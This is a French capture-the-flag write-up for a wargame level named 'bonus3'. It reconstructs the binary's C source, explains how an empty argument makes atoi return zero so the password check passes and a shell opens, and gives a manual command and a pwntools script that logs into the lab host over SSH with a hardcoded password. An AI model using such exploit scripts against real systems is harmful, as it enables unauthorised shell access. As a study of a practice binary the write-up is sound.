13. Bonus 3

La reconstruction du code source donne ce résultat :

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int    main(int argc, char **argv)
{
    int    i = 0;
    FILE    *file;                          // [esp+0x9c]
    char    buffer[132];                      // [esp+0x18]

    file = fopen("/home/user/end/.pass", "r");
    while (i < 132)
        buffer[i++] = '\0';
    if (file == 0 || argc != 2)
        return (255);

    fread(buffer, 1, 66, file);
    buffer[65] = '\0';
    buffer[atoi(argv[1])] = 0x0;

    fread(&buffer[66], 1, 65, file);
    fclose(file);

    if (strcmp(buffer, argv[1]) == 0)
        execl("/bin/sh", "sh", 0);
    else
        puts(&buffer[66]);
    return (0);
}
```

Rien de compliqué dans le code désassemblé. J'ai cherché pendant quelques temps, et je suis tombé dans quelques rabbit holes avec ce niveau.

La seule partie du programme sur laquelle on a un tant soit peu de contrôle est la ligne :

```
buffer[atoi(argv[1])] = 0x0;
```

On peut, grâce à cette ligne, placer un NULL BYTE dans la mémoire. J'ai essayé dans un premier temps d'utiliser cette fonctionnalité afin de réinitialiser le curseur de fichier afin que soit affiché le flag par le biais du **puts**, mais apparemment il n'y a pas une simple variable qui maîtrise ce curseur dans la structure FILE *.

La solution était bien plus simple. Que se passe-t-il si on exécute le programme de cette façon :

./bonus3 ""

On lui donne en **argv[1]** une chaîne entièrement vide, composée uniquement d'un '\0'. La fonction

atoi interprète une chaîne vide en retournant **0**.

Ainsi, le premier caractère de "buffer" sera **\0** ; **argv[1]** étant également une chaîne vide, la condition `strcmp(buffer, argv[1]) == 0` sera remplie, ce qui nous donne une shell.

>> Exploitation manuelle

./bonus3 ""

>> Exploit automatique

```
from pwn import *

### AUTOMATED EXPLOITATION ###

s = ssh(host='192.168.1.45', port=4242, user="bonus3",
password="71d449df0f960b36e0055eb58c14d0f5d0ddc0b35328d657f91cf0df15910587")
p = s.process(["/home/user/bonus3/./bonus3", ""])

p.interactive()
```

Rien de bien compliqué ici, **got flag**.